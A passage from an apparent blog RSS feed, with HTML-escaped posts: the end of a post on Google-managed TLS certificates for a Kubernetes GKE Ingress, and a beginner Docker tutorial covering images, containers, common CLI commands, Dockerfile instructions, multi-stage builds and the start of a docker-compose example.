&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;extensions/v1beta1&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Ingress&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;lescinskas-lt-ingress&quot;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;networking.gke.io/managed-certificates&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;lescinskas-lt-cert,www-lescinskas-lt-cert&quot;&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Certificate objects are listed using comma as the separator. In this example I use both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lescinskas.lt&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www.lescinskas.lt&lt;/code&gt; domains to expose this website to the Internet.&lt;/p&gt;

&lt;p&gt;During the provisioning the HTTPS version of the website will return various errors:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;502&lt;/code&gt; HTTP error&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSL_ERROR_NO_CYPHER_OVERLAP&lt;/code&gt; TLS error&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Some backend services are in UNKNOWN state&lt;/code&gt; error in Google Cloud console&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This should get automatically fixed within 10-20 minutes.&lt;/p&gt;

&lt;p&gt;This is tolerable for new HTTPS setups, however for the web applications that already have some manual HTTPS configuration, such migration to this service will result in the certain downtime.&lt;/p&gt;
</description>
            <pubDate>Thu, 03 Oct 2019 00:00:00 -0500</pubDate>
            <link>https://lescinskas.lt/blog/2019/10/03/letsencrypt-managed-tls-certificates-kubernetes-gke/</link>
            <guid isPermaLink="true">https://lescinskas.lt/blog/2019/10/03/letsencrypt-managed-tls-certificates-kubernetes-gke/</guid>
            
            
        </item>
        
        <item>
            <title>Docker basics</title>
            <description>&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2019/docker.png&quot; alt=&quot;Docker&quot; class=&quot;img-responsive img-rounded&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;what-docker-is&quot;&gt;What Docker is&lt;/h2&gt;

&lt;p&gt;Docker is a container virtualization technology, allowing running applications in the isolated environments simultaneously in a single machine.&lt;/p&gt;

&lt;p&gt;The main benefits are the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Quick developer onboarding (no need for manual installation and configuration of environment)&lt;/li&gt;
  &lt;li&gt;Environment isolation between applications&lt;/li&gt;
  &lt;li&gt;Consistency between environments&lt;/li&gt;
  &lt;li&gt;Fast deployment&lt;/li&gt;
  &lt;li&gt;Quick startup and shutdown&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As Docker does not virtualize the whole operating system, but the application environment (libraries, binaries, configuration) it runs fast and with low footprint and is extremely useful for building &lt;a href=&quot;https://12factor.net/&quot;&gt;12-factor apps&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2019/docker-works-on-my-machine.jpg&quot; alt=&quot;Works on my machine&quot; class=&quot;img-responsive img-rounded&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Source: &lt;a href=&quot;https://medium.com/@satish1v/docker-for-net-developers-e73961b24e9d&quot;&gt;https://medium.com/@satish1v/docker-for-net-developers-e73961b24e9d&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;installing-docker&quot;&gt;Installing Docker&lt;/h2&gt;

&lt;p&gt;There are different versions of Docker: CE (Community edition) and EE (Enterprise Edition). For personal use we will use Community Edition.&lt;/p&gt;

&lt;p&gt;Docker can be installed from the official repositories. The instruction for Ubuntu: &lt;a href=&quot;https://docs.docker.com/install/linux/docker-ce/ubuntu/&quot;&gt;https://docs.docker.com/install/linux/docker-ce/ubuntu/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It is beneficial to add your user to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker&lt;/code&gt; group after install and &lt;a href=&quot;https://docs.docker.com/install/linux/linux-postinstall/&quot;&gt;perform other Post-installation actions&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The installation options for other operating systems are also available in Docker website.&lt;/p&gt;

&lt;h2 id=&quot;what-a-docker-image-is&quot;&gt;What a Docker image is&lt;/h2&gt;

&lt;p&gt;Image is a layered file system that is used to run a container. According to &lt;a href=&quot;https://docs.docker.com/develop/develop-images/dockerfile_best-practices/&quot;&gt;Docker docs&lt;/a&gt; “Docker image consists of read-only layers each of which represents a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Dockerfile&lt;/code&gt; instruction. The layers are stacked and each one is a delta of the changes from the previous layer.”&lt;/p&gt;

&lt;p&gt;Images are stored locally and in the image registries (i.e. &lt;a href=&quot;https://hub.docker.com&quot;&gt;DockerHub&lt;/a&gt;), from which they can be pulled when needed.&lt;/p&gt;

&lt;p&gt;The images are identified using the combination of &lt;strong&gt;repository&lt;/strong&gt; and &lt;strong&gt;tag&lt;/strong&gt; in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;repository&amp;gt;:&amp;lt;tag&amp;gt;&lt;/code&gt; form.&lt;/p&gt;

&lt;p&gt;The repository structure is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[&amp;lt;registry&amp;gt;/][&amp;lt;user&amp;gt;/]&amp;lt;image name&amp;gt;&lt;/code&gt;. The registry can be ommitted if the image is hosted at DockerHub; the user can be ommitted if the image is verified or published by Docker.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;tag&lt;/strong&gt; is a string identifying a &lt;strong&gt;version&lt;/strong&gt; of an image. If omitted, the default tag value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;latest&lt;/code&gt; is applied.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcr.io/google-samples/echo-node:1.0&lt;/code&gt; - the image at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcr.io&lt;/code&gt; registry from a user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;google-samples&lt;/code&gt; named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo-node&lt;/code&gt; and tagged &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1.0&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ubuntu&lt;/code&gt; - the image at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker.io&lt;/code&gt; (DockerHub) registry from the &lt;em&gt;official (void)&lt;/em&gt; user, named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ubuntu&lt;/code&gt; and having a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;latest&lt;/code&gt; tag&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;what-a-container-is&quot;&gt;What a container is&lt;/h2&gt;

&lt;p&gt;Container is the application running as the instance of the container image. In most cases it is a single process running in the isolated environment within the Docker Engine.
During the lifetime of the process the container is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;running&lt;/code&gt; and is automatically &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stopped&lt;/code&gt; after the process is terminated.&lt;/p&gt;

&lt;p&gt;The states of the containers and the transitions are very well described in the chart:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2019/docker-states.png&quot; alt=&quot;Docker states&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Source: &lt;a href=&quot;http://docker-saigon.github.io/post/Docker-Internals/&quot;&gt;http://docker-saigon.github.io/post/Docker-Internals/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The container should be treated as the stateless application instance, thus might be restarted and replaced anytime.&lt;/p&gt;

&lt;p&gt;If needed, the persistent storage can be achieved by mounted volumes or by using the external storage or database services.&lt;/p&gt;

&lt;h2 id=&quot;docker-tools&quot;&gt;Docker tools&lt;/h2&gt;

&lt;p&gt;Below you can find the list of most commonly used docker command.&lt;/p&gt;

&lt;h3 id=&quot;image-commands&quot;&gt;Image commands&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker pull &amp;lt;image&amp;gt;&lt;/code&gt; - downloads the image from the registry. It might require logging-in using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker login&lt;/code&gt; if the image is from the private repository.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker image ls&lt;/code&gt; (shorthand: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker images&lt;/code&gt;) - lists all images on the machine.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker image rm &amp;lt;image ID&amp;gt;&lt;/code&gt; (shorthand: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker rmi &amp;lt;image ID&amp;gt;&lt;/code&gt;) - removes the image.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;It is convenient to provide the just the beginning part (a couple of symbols) of the ID (image ID, container ID etc.), i.e.:&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker image &lt;span class=&quot;nb&quot;&gt;ls
&lt;/span&gt;REPOSITORY                                                 TAG                 IMAGE ID            CREATED             SIZE
node                                                       latest              d97e1f326ca9        3 weeks ago         906MB
node                                                       current-alpine      80a733d0cd8c        3 weeks ago         77.3MB
ruby                                                       2.5-alpine          d4adfc042285        5 weeks ago         54.4MB
alpine                                                     latest              5cb3aa00f899        2 months ago        5.53MB
hello-world                                                latest              fce289e99eb9        4 months ago        1.84kB

&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker image &lt;span class=&quot;nb&quot;&gt;rm fc
&lt;/span&gt;Untagged: hello-world:latest
Untagged: hello-world@sha256:6f744a2005b12a704d2608d8070a494ad1145636eeb74a570c56b94d94ccdbfc
Deleted: sha256:fce289e99eb9bca977dae136fbe2a82b6b7d4c372474c9235adc1741675f587e
Deleted: sha256:af0b15c8625bb1938f1d7b17081031f649fd14e6b233688eea3c5483994a66a3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the example above the image &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hello-world&lt;/code&gt; which ID starts with ID &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fc&lt;/code&gt; is removed.&lt;/p&gt;

&lt;p&gt;As the Docker images are built on top of other images it creates a layered file structure. These layers (commands triggering the filesystem changes) can be listed using command:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker image history &amp;lt;image ID&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The image content can be exported (saved as &lt;strong&gt;tar&lt;/strong&gt; archive) using a command:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker image save &amp;lt;image&amp;gt; -o &amp;lt;file&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;container-commands&quot;&gt;Container commands&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker container run &amp;lt;image&amp;gt; &amp;lt;cmd args&amp;gt;&lt;/code&gt; (shorthand: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker run ...&lt;/code&gt;) - runs the container from the image. Also automatically pulls (downloads) image if it’s not available locally. The image has an &lt;strong&gt;entry point&lt;/strong&gt; command which is invoked when running command. It can have default argument list, but it can be overriden by the command arguments when running the container.&lt;/p&gt;

&lt;p&gt;While &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker container run&lt;/code&gt; command has many option keys, the most commonly used ones are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-d&lt;/code&gt; - runs container in the &lt;em&gt;detached&lt;/em&gt; mode&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-it&lt;/code&gt; - these are separate keys &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-i&lt;/code&gt; (interactive) and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-t&lt;/code&gt; (pseudo-TTY) usually used together to provide the interactive TTY&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-v&lt;/code&gt; - mounts the volume from the host machine to the container. When used as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-v /path/to/dir/on/host/machine/:/dir/in/container&lt;/code&gt; the volume persists.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-e&lt;/code&gt; - sets the environment variables in the container&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-p&lt;/code&gt; - maps the TCP port from the container to the host machine. I.e.: setting the value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;8080:4000&quot;&lt;/code&gt; will expose the port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4000&lt;/code&gt; from the container to the host machine as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8080&lt;/code&gt; port, so it could be accessed as this port within the host’s loopack network interface (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localhost&lt;/code&gt; host /&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;127.0.0.1&lt;/code&gt; IPv4 address)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, the following command runs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash&lt;/code&gt; in the Ubuntu distribution from a Docker container:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker container run -it ubuntu /bin/bash&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The interactive container can be detached using the key combination &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ctrl+P Ctrl+Q&lt;/code&gt;. The container’s interactive console can be attached again using the command:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker container attach &amp;lt;container ID or name&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Alternatively, another process (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash&lt;/code&gt; in this example) can be executed and run as a separate TTY:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker container exec -it &amp;lt;container ID or name&amp;gt; bash&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;While it is easy to run the single container from the command line, it is less convenient to do so for the services runningas as multiple related containers. Also, it is a usual case when containers need to communicate with each other - then the separate Docker configuration of Network is needed. Such imperative way of running is also error-prone. The preferred declarative way of defining the desired configuration of images, networks, building them, running and stopping containers is using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose&lt;/code&gt; utility.&lt;/p&gt;

&lt;p&gt;Other common container commands:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker container ls&lt;/code&gt; (shorthand: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker ps&lt;/code&gt;) - lists the running containers. The key &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-a&lt;/code&gt; shows all (including stopped) containers.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker container rm &amp;lt;container ID&amp;gt;&lt;/code&gt; (shorthand: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker rm ...&lt;/code&gt;) - removes the container. The key &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-v&lt;/code&gt; also removes the volumes.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker container inspect &amp;lt;Container ID&amp;gt;&lt;/code&gt; - shows the information about the container&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker container prune&lt;/code&gt; - removes the stopped containers&lt;/p&gt;

&lt;h3 id=&quot;system-commands&quot;&gt;System commands&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker system df&lt;/code&gt; - show the summary of size used by the images, containers, volumes&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker system info&lt;/code&gt; - shows the system information&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker system prune&lt;/code&gt; - removes stopped containers, networks, dangling images&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker system prune --volumes&lt;/code&gt; - removes all volumes&lt;/p&gt;

&lt;h2 id=&quot;building-images-with-dockerfile&quot;&gt;Building images with Dockerfile&lt;/h2&gt;

&lt;p&gt;Docker images are built using the instructions written in the file, usually named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Dockerfile&lt;/code&gt;. The most common instructions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FROM&lt;/code&gt; - base image. THe new imagae will be based on top of this image&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RUN&lt;/code&gt; - runs the command to build the image. Multiple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RUN&lt;/code&gt; commands can be defined&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;COPY&lt;/code&gt; - copies the file or the directory from local machine to the container image. The list of ignored path patterns can be defined in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.dockerignore&lt;/code&gt; file. The key &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--from=&amp;lt;image&amp;gt;&lt;/code&gt; can be used to copy the files from the existing image or during the multi-stage builds.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WORKDIR&lt;/code&gt; - the directory where the initial run command should be run from&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EXPOSE&lt;/code&gt; - the TCP port which the containerized applications listens to&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ENV&lt;/code&gt; - environment variable (in the form of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KEY=&quot;value&quot;&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VOLUME&lt;/code&gt; - sets the moundpoint&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ENTRYPOINT&lt;/code&gt; - the initial command to be run during the container start&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMD&lt;/code&gt; - default command-line parameters passed to the entrypoint command. They can be overriden during the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker container run ...&lt;/code&gt; command&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LABEL&lt;/code&gt; - adds container label. The labels are used for filtering the containers, images etc. The label keys are named using the reverse-domain notation. Multiple labels can be added.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HEALTHCHECK&lt;/code&gt; - defines the criteria for checking the health of a container. I.e.: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HEALTHCHECK CMD curl -f http://localhost/ || exit 1&lt;/code&gt;. The command is run inside the container. The interval, timeout, start period and number of retries can be &lt;a href=&quot;https://docs.docker.com/engine/reference/builder/#healthcheck&quot;&gt;configured&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/engine/reference/builder/&quot;&gt;Full Dockerfile reference&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/develop/develop-images/dockerfile_best-practices/&quot;&gt;The best practices and examples on writing Dockerfile&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The image is build using the command:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker build -t &amp;lt;image&amp;gt;:&amp;lt;tag&amp;gt; &amp;lt;path&amp;gt;&lt;/code&gt; - builds the Docker image from the instuction defined in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Dockerfile&lt;/code&gt; file in the path (path can be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.&lt;/code&gt; if the command is run from the same directory as Dockerfile). The different file name can be provided using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-f&lt;/code&gt; key. Multiple tags can be provided. CPU and memory limits can be set using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-c&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-m&lt;/code&gt; keys respectively.&lt;/p&gt;

&lt;h3 id=&quot;multi-stage-builds&quot;&gt;Multi-stage builds&lt;/h3&gt;

&lt;p&gt;It is useful to separate the images for development and building the application and the ones running in production. The main benefit is the smaller size of the image running code in production.&lt;/p&gt;

&lt;p&gt;Multi-stage builds allow defining aliases for builds and copy the content from the generated temporary image to another one, i.e.:&lt;/p&gt;

&lt;div class=&quot;language-dockerfile highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;build image&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;alias&amp;gt;&lt;/span&gt;
... (image build instructions)

&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; &amp;lt;runtime image&amp;gt;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;COPY&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; --from=&amp;lt;alias&amp;gt; /path/to/the/files/at/built/image /path/to/runtime/files&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--from=&lt;/code&gt; parameter can also be used to copy the files from the external image, i.e.: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;COPY --from=nginx /etc/nginx/nginx.conf /nginx.conf&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;More info on Multi-stage builds: &lt;a href=&quot;https://docs.docker.com/develop/develop-images/multistage-build/&quot;&gt;https://docs.docker.com/develop/develop-images/multistage-build/&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;pushing-image-to-the-registry&quot;&gt;Pushing image to the registry&lt;/h3&gt;

&lt;p&gt;The built images may be pushed to the online image registry for later reuse.&lt;/p&gt;

&lt;p&gt;It is needed to authenticate to the registry first:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker login [server]&lt;/code&gt; - authenticates to the DockerHub or other registry if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;server&lt;/code&gt; is provided.&lt;/p&gt;

&lt;p&gt;The authentication information is stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.docker/config.json&lt;/code&gt; uncencrypted (!) or in another more secure &lt;a href=&quot;https://docs.docker.com/engine/reference/commandline/login/#credentials-store&quot;&gt;credential store&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;After authentication the image can be pushed using the command:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker push &amp;lt;image&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;docker-compose&quot;&gt;Docker compose&lt;/h2&gt;

&lt;p&gt;Compose is a tool for defining and running multi-container Docker applications. With Compose, you use a YAML file to configure your application’s services. Then, with a single command, you create and start all the services from your configuration. (&lt;a href=&quot;https://docs.docker.com/compose/overview/&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;Docker Compose can be installed by following the &lt;a href=&quot;https://docs.docker.com/compose/install/&quot;&gt;installation instructions&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose.yml&lt;/code&gt; file is used to declaratively define the services that are built and run as Docker containers. The service is an application which runs either as a single container or is replicated to multiple containers.&lt;/p&gt;

&lt;p&gt;The services can deployed and managed using the Orchestration tool “Docker Swarm”. Also, there are other container orchestration and cluster management tools like &lt;a href=&quot;https://kubernetes.io/&quot;&gt;Kubernetes&lt;/a&gt;, &lt;a href=&quot;https://mesos.apache.org/&quot;&gt;Mesos&lt;/a&gt;, &lt;a href=&quot;https://rancher.com/&quot;&gt;Rancher&lt;/a&gt; that can be used to manage the services. Kubernetes is pretty popular now and there are number of vendors providing Kubernetes as a Service therefore it is worth considering container orchestration using Kubernetes. Let’s keep the deployment topic for the next blogpost.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose.yml&lt;/code&gt; contains the following structure:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Version of the Docker Compose API specification, the configuration is compatible with&lt;/li&gt;
  &lt;li&gt;Services configuration&lt;/li&gt;
  &lt;li&gt;Networks configuration&lt;/li&gt;
  &lt;li&gt;Volumes configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The sample file content:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;3&apos;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# API version&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;services&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;myservice&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Service name&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Build section. The directives are applied when building the image&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;.&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;dockerfile&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Dockerfile&lt;/span&gt;
